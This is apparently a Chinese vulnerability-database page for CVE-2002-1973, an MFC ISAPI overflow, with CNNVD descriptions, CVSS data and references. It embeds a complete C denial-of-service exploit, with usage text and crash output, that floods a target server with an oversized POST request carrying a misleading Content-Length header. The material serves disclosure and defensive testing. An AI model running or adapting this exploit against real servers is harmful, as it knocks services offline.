CVE-2002-1973
CVSS7.5
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-10 15:16:03
NMCOE    

[原文]Buffer overflow in CHttpServer::OnParseError in the ISAPI extension (Isapi.cpp) when built using Microsoft Foundation Class (MFC) static libraries in Visual C++ 5.0, and 6.0 before SP3, as used in multiple products including BadBlue, allows remote attackers to cause a denial of service (access violation and crash) and possibly execute arbitrary code via a long query string that causes a parsing error.


[CNNVD]Microsoft标准类库ISAPI远程缓冲区溢出漏洞(CNNVD-200212-831)

        
        Microsoft标准类库是用于开发Microsoft windows应用程序的库,MFC包含ISAPI类,可以用于构建扩展WEB服务功能的应用程序。MFC ISAPI framework库是广泛用于构建Internet ActiveX服务器的函式库。
        MFC ISAPI framework库对用户提交的请求缺少正确的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        MFC ISAPI framework库中包含的MFC42.dll在处理用户提交的HTTP POST请求时,对Content-Length字段数据缺少正确的边界处理,远程攻击者可以提交包含大量字符的数据请求给使用MFC42.DLL的应用程序处理,可导致应用程序出现访问冲突,产生拒绝服务攻击,精心构建提交的数据可以以使用MFC42.DLL应用程序进程的权限在系统上执行任意指令。
        目前发现Working Resources BadBlue Web服务程序使用了这个类库。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:working_resources_inc.:badblue:personal_1.7.3
cpe:/a:microsoft:foundation_class_library:7.0Microsoft foundation_class_library 7.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1973
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1973
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-831
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2002-07/0145.html
(PATCH)  BUGTRAQ  20020712 MFC Overflow Test Code
http://xforce.iss.net/xforce/xfdb/9529
(UNKNOWN)  XF  mfc-lib-isapi-bo(9529)
http://www.securityfocus.com/bid/5188
(UNKNOWN)  BID  5188
http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;310649
(UNKNOWN)  MSKB  310649
http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;216562
(UNKNOWN)  MSKB  216562
http://archives.neohapsis.com/archives/bugtraq/2002-07/0144.html
(UNKNOWN)  BUGTRAQ  20020712 Re: MFC ISAPI Framework Buffer Overflow
http://archives.neohapsis.com/archives/bugtraq/2002-07/0135.html
(UNKNOWN)  BUGTRAQ  20020711 MFC ISAPI Framework Buffer Overflow
http://archives.neohapsis.com/archives/bugtraq/2002-07/0082.html
(UNKNOWN)  BUGTRAQ  20020708 ALERT: Working Resources BadBlue #2 (DoS, Heap Overflow)

- 漏洞信息

Microsoft标准类库ISAPI远程缓冲区溢出漏洞
高危 边界条件错误
2002-12-31 00:00:00 2006-08-23 00:00:00
远程  
        
        Microsoft标准类库是用于开发Microsoft windows应用程序的库,MFC包含ISAPI类,可以用于构建扩展WEB服务功能的应用程序。MFC ISAPI framework库是广泛用于构建Internet ActiveX服务器的函式库。
        MFC ISAPI framework库对用户提交的请求缺少正确的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        MFC ISAPI framework库中包含的MFC42.dll在处理用户提交的HTTP POST请求时,对Content-Length字段数据缺少正确的边界处理,远程攻击者可以提交包含大量字符的数据请求给使用MFC42.DLL的应用程序处理,可导致应用程序出现访问冲突,产生拒绝服务攻击,精心构建提交的数据可以以使用MFC42.DLL应用程序进程的权限在系统上执行任意指令。
        目前发现Working Resources BadBlue Web服务程序使用了这个类库。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 暂时没有合适的临时解决方法。
        厂商补丁:
        Microsoft
        ---------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.microsoft.com/technet/security/

        Working Resources Inc.
        ----------------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.badblue.com/index.htm

- 漏洞信息 (21601)

Microsoft Foundation Class Library 7.0 ISAPI Buffer Overflow Vulnerability (EDBID:21601)
windows remote
2002-07-08 Verified
0 Matthew Murphy
N/A [点击下载]
source: http://www.securityfocus.com/bid/5188/info

The Microsoft Foundation Class Library is a library used to develop applications for Microsoft Windows. Some versions of the MFC include an ISAPI class, which can be used to construct applications which extend web server functionality.

Reportedly, a possible vulnerability exists in some versions of this class. It may be possible to cause a buffer overflow condition in software compiled with vulnerable versions of the library. Exploitation details will vary across different products compiled against the vulnerable library.

This issue may be related to misleading Content-Length headers contained in a HTTP POST request.

This vulnerability was originally believed to be an issue with Working Resources BadBlue web server. In this case, exploitation has been demonstrated to result in a denial of service condition. 

/*
MFCISAPI.C by Matthew Murphy
DoSing Servers w/ no Content-Length sanitation
Example of MFC ISAPI heap overflow

Disclaimer: DON'T ABUSE THIS CODE!  Use it only to
test your servers for vulnerabilities.  Do not test
against servers:

1) You do not control
2) Business-critical systems
...

If the possession, compiling, or any use of this code 
causes damage to your system or any other:

a) I don't know who wrote it. :-)
b) YOU are responsible for the damage.
c) Me, my providers, and anyone else displaying this
	code are not responsible for it, YOU ARE!

Vulnerability Details:
Murphy Security Advisory #12, 2002
"Microsoft Foundation Classes ISAPI Framework Heap Overflow Vulnerability"
http://www.murphy.101main.net/vulns/2002-12.shtml

Compiling: Windows, Free/Open/NetBSD, and Linux
Tested on Windows with MSVC++ 6.0.

Windows: WinSock 1.1 can cause some issues with 
numerous internet apps, including this one.
It is recommended that you simply upgrade (if
on Windows 95/NT 3.51) to WinSock 2.0 and replace 
"0x0101" with "0x0002" in the WSAStartup() call.

Background

On July 8, 2002, I submitted a report to BugTraq
regarding two unrelated vulnerabilities in Working
Resources' BadBlue PWS.  The report was intentionally
vague, so as to wait until a patch was released to
disclose details of the vulnerabilities.

The vulnerabilties were assigned the following
spots on SecurityFocus:

BID 5187: Working Resources BadBlue Get Request
Denial of Service Vulnerability

BID 5188: Working Resources BadBlue ISAPI Denial of
Service Vulnerability

The vulnerability that became BID 5188 was attributed
to a non-exploitable Heap Overrun in ext.dll.

On July 9, I noted to the BadBlue team that the cause
of the crash following the overflow seemed to be one
of two pointers being overwritten (the pointer that
caused the error varied with buffer length).  There
was a pointer used by MSVCRT.DLL, and another used by
MFC42.DLL.  Although I found this odd, I did no further
investigation.

On July 10, 2002, the BadBlue team informed me that
the ISAPI Heap Overflow was not occuring inside the
BadBlue code, but somewhere in the MFC classes that
are responsible for ISAPI handling.

I submitted the vulnerability to the Microsoft Security
Response Center within minutes of this e-mail from the
BadBlue team.  I received a reply over a day later
that simply asked me to clarify "if I was asking them
to do something", specifically if I was speaking of
an issue in IIS or asking them to identify if it did
exist there.  They had no clue.

I submitted in response that a serious vulnerability
existed in the MFC ISAPI framework, and yes, knowing
if the issue affected IIS would allow me and the
community in general to better analyze both the risk
the vulnerability posed and who it affected.

Having received no reply from MSRC, I can conclude
both that server administrators need way to protect
themselves from this vulnerability, and also that it
won't come from Microsoft.

So, I have provided this sample exploit so that users
of (suspected) vulnerable ISAs can test both their
server's handling of the exploitable condition (that
being incorrect Content-Length headers) as well as
the response of various ISAs they run to an attack
that exploited this vulnerability.

Greets/Shouts

I'll divide these into two sections, the industry,
and "the others" (i.e, school pals, etc.).  I'll do 
these first:

Kyle - No grudges?  WHEW! :-)

Rachel - Thanx for the encouragement, and for being
	a good listener.  I needed that.  Sorry you
	had to play the role of relay -- that's not
	something I wish on anybody.

Jessica - I'm still amazed/impressed by how well you
	handled that whole mess (talk about in the
	middle of a feud...)

Bobbitt - I wish I had not involved you in this mess,
	boy was that a disaster. You made a bigger
	impact than I gave you credit for.  And I
	am accusing people of being un-grateful...

JT - Another XP box bites the dust.  I hate to see
	it happen to you, but it was only a matter
	of time, after all, it is an MS product...

Thor Larholm - Joining PivX was a step backward.
	Good work though on TL003.  I'm glad you
	liked the "LocalRead" binary exploit.

MS Product Security - Response to the MFC overflow
	was sluggish, at best.  What's going on?

AOL - Nice job *covering up* the Game request buffer
	overflow.  Moral: Fix the problem at its source.
	Worry about your customers, not your wallet, Mr.
	Case.

Netscape - Committed to security?  So much so that you
	are even willing to sell out on customers for
	a pitiful $1000?  The only person who calls
	that committed is Mr. Gates.  AHEM! :-)

"Joe Testa" - Thanks for the tips on the BadBlue
	alert (Re: DoS, Heap Overflow); I will use
	them in the future.

Scott Slater - Prompt responses, at least.  How did
	you miss "/../"?  It's not exactly stealthy! :-XD

Steve Shering - The decision to leave the samples
	vulnerable was a huge mistake.

iMatix - It only took you a week to reply to the GSL
	inquiry!  C'mon, that's too MS-ish for something
	that I run...

And, ladies and gents, without further ado, I present...

Remote diversion/crash of any MFC ISA, from the comfort of 
your own home, office, or where ever you choose!

Credit: BadBlue support helped me to isolate and identify
the cause and scope of this issue -- it is more widespread
than originally thought by far.

Tested on BadBlue 1.73 EXT.DLL (Listening on port 82):

mfcisapi 127.0.0.1 ext.dll 82
Exploit sent -- check if the server/worker is dead.

BADBLUE caused an invalid page fault in MSVCRT.DLL.
BADBLUE will now close.

If you continue to encounter problems, try restarting
your computer.

1) The location of the fault changed depending on how 
long the buffer was (not surprising).

2) The fault occured after the response had been sent
by the server (odd).

3) Crashes always occured on overwritten heap pointers
(which makes sense).

4) I was unable to overwrite the lowest byte of any of
them, no matter how large the entity was (which does not).

One last shout to Thor, Joe, and the folks at iMatix and
MSPS.

And, to all of my friends, you're the best!
*/

#ifdef _WIN32
#define _WINSOCKAPI_
#include <winsock2.h>
#pragma comment(lib, "wsock32.lib")
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#endif
#include <stdio.h>
#include <string.h>

#define BUFF_SIZE	6300			/* Change this for bigger buffers */

#define nprintf(x)	printf(x)		/* Add newline in printf() calls */
#define die(x)		nprintf(x); exit(0);	/* Macro: Write error and exit */

static char request[] = "POST /%s HTTP/1.0\x0d\x0a"
			"Content-Length: 1\x0d\x0a\x0d\x0a"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
			"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0d\x0a\x0d\x0a";

/* Using DoS tools for dummies :-) */

void usage(void) {
	nprintf("Usage: mfcisapi <host> <isapi> [port]\x0d\x0a\x0d\x0ahost - the address to exploit (e.g, 127.0.0.1)\x0d\x0aisapi - the path of the ISAPI DLL/mapping to exploit (e.g, /ext.dll, /iisstart.asp)\x0d\x0aport - the port that the web service runs on (usually 80)");
	exit(1);
}

void main(int argc, char *argv[]) {

/* Set up some stack storage... */

	SOCKET hSock;			/* Socket descriptor handle */
	unsigned short port;		/* This is set to default after WSAStartup() */
	int buffsize = 1024;		/* Some ISAs need bigger; set at command-line */
	struct hostent *he;		/* For DNS resolution */
	char exploit[BUFF_SIZE];	/* BIG uninitialized buffer for the exploit. */
	struct sockaddr_in sa_in;	/* Socket address storage */
	char *offset;			/* Buffer pointer */
	int i;				/* Counting integer */

/*
 * Windows-specific crap to initialize WinSock
 * This compatibility stuff bloats my code rather
 * badly... (I love Windows! :-XD)
*/

#ifdef _WIN32
	WSADATA wsa_prov;
	if (!WSAStartup(0x0101, &wsa_prov) == 0) {
		die("WinSock initialization failed!");
	}
#endif

/* Handle the argument vector */

	port = htons(80);
	switch(argc) {
	case 5:
		buffsize = atoi(argv[4]);
	case 4:
		port = htons((unsigned short)atoi(argv[3]));
	case 3:
		break;
	case 2:
	case 1:
	default:
		usage();
	}

/* Make the TCP socket for the exploit */

	hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (hSock == SOCKET_ERROR) {
		die("Couldn't create exploit socket!");
	}

/* Fill in the address information */

	sa_in.sin_family = AF_INET;
	sa_in.sin_port = port;
	sa_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);

/* Create memory buffer for exploit */

	sprintf(&exploit[0], &request[0], argv[2]);

/* Try to connect to the victim server. */

	if (!connect(hSock, &sa_in, sizeof(struct sockaddr_in)) == 0) {
		die("Couldn't connect; probably no web server there.");
	}

/* Send out the overflow */

	send(hSock, &exploit[0], strlen(&exploit[0]), 0);
	nprintf("Exploit sent -- check if the server/worker is dead.");

/* Do some cleanup */

	shutdown(hSock, SD_BOTH);
#ifndef _WIN32
	close(hSock);
#else				/* Once again, Windows deviates... */
	closesocket(hSock);
	WSACleanup();
#endif
	return;
}		

- 漏洞信息

60020
Microsoft Visual C++ MFC Static Library ISAPI Extension (Isapi.cpp) CHttpServer::OnParseError Overflow
Input Manipulation
Loss of Integrity Solution Unknown

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-07-08 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站